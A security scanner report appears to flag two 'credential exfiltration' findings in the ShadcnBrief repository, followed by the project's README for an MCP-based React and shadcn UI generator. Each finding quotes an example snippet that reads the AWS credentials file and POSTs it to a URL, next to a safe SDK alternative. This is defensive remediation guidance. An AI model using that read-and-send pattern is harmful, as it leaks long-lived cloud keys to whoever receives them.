Findings & checks · 4 flagged
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · packages/shared-runtime/src/child-env.ts×2
This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_ACCESS_KEY_ID",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
Show all 2 locations
- Delete code that opens or parses the credentials file or its key fields by hand.
- Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Trace & refs
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tooling/shared/child-env.mjs×2
This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_ACCESS_KEY_ID",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
Show all 2 locations
- Delete code that opens or parses the credentials file or its key fields by hand.
- Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Trace & refs
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <img src="https://em-content.zobj.net/source/apple/391/artist-palette_1f3a8.png" width="120" alt="artist palette" /> </p>
<h1 align="center">ShadcnBrief</h1>
<p align="center"> <strong>brief in, React + shadcn out, proof attached</strong> </p>
<p align="center"> <a href="https://github.com/xiaojiou176-open/shadcn-brief/stargazers"><img src="https://img.shields.io/github/stars/xiaojiou176-open/shadcn-brief?style=flat&color=yellow" alt="Stars"></a> <a href="https://github.com/xiaojiou176-open/shadcn-brief/commits/main"><img src="https://img.shields.io/github/last-commit/xiaojiou176-open/shadcn-brief?style=flat" alt="Last Commit"></a> <a href="LICENSE"><img src="https://img.shields.io/github/license/xiaojiou176-open/shadcn-brief?style=flat" alt="License"></a> </p>
<p align="center"> <a href="#what-you-get">What You Get</a> • <a href="#install">Install</a> • <a href="#how-it-work">How It Work</a> • <a href="#ecosystem">Ecosystem</a> </p>
ShadcnBrief takes a one-paragraph brief and produces a styled React + shadcn surface — with screenshots, accessibility checks, and proof attached. Open-source MCP studio, batteries included.
┌──────────────────────────────────────┐
│ LOCAL-FIRST ████████ 100% │
│ SOURCE-TRACEABLE ████████ 100% │
│ TYPING REQUIRED ░░░░░░░░ 0% │
│ VIBES ████████ ZERO │
│ FILLER│
└──────────────────────────────────────┘MCP-driven UI generator. Brief, render, diff, ship.
What You Get
| Surface | What |
|---|---|
studio apps | Brief → preview → diff → export. All local. |
packages | Reusable shadcn-aligned components, themed for proof workflows. |
mcp services | Hand a brief to any agent through an MCP server. |
contracts | Schemas for brief, render, and proof — versioned, diffable. |
tooling | Snapshot tests, a11y checks, design-token guardrails. |
[!IMPORTANT] Local-first by default. No silent telemetry. No cloud round-trip. Your data stays on your machine until you explicitly ship it somewhere.
Install
git clone https://github.com/xiaojiou176-open/shadcn-brief.git
cd ShadcnBrief
# follow the per-stack quickstart in INSTALL.md or docs/Three commands. No curl | sh. No login. Read what you run.
Install break? Open your favorite agent and say "Read AGENTS.md and bootstrap ShadcnBrief for me." Agent fix own brain. Long version: docs/.
How It Work
The repo is seven layers — exactly the seven commits in git log. New work goes in as small named PRs. No 50-file mystery commits.
| Layer | What |
|---|---|
chore: scaffold | License, governance, hygiene gates, CI scaffolding. |
feat(core) | The primary engine. The reason ShadcnBrief exists. |
feat(modules) | Packages, adapters, services, plugins. The second floor. |
feat(contracts) | Schemas, configs, public boundaries. Other code talks here. |
test: | Receipts. Everything in this layer must run. |
feat(ops) | Scripts, infra, CI helpers, build glue. |
docs: | Public docs surface. The pretty face. |
git log reads like a building floor plan. Look once, know the whole shape.
Ecosystem
ShadcnBrief lives in the open family: three open platforms. local-first, source-first, builder-first.
| Repo | What |
|---|---|
| OpenCampus | Canvas + Gradescope + EdStem on one calm desk |
| OpenVibeCoding | AI codes overnight, you ship in the morning |
| ShadcnBrief (you here) | brief in, React + shadcn out, proof attached |
Cross-family taste: BeamMe · BrewMe · OpenVibeCoding · proofyard.
Star This Repo
If ShadcnBrief saves you a click, an hour, or a headache — star costs zero. Fair trade. ⭐
Also by Yifeng[Terry] Yu
- [OpenCampus](https://github.com/xiaojiou176-open/OpenCampus) — Canvas + Gradescope + EdStem on one calm desk
- [OpenVibeCoding](https://github.com/xiaojiou176-open/OpenVibeCoding) — AI codes overnight, you ship in the morning
- [BeamMe](https://github.com/xiaojiou176-open/BeamMe) — beam your agent config to any planet
- [BrewMe](https://github.com/xiaojiou176-open/BrewMe) — wake up, news already brewed
- [proofyard](https://github.com/xiaojiou176-open/proofyard) — every claim ships with its receipt
License
MIT — small print, big freedom.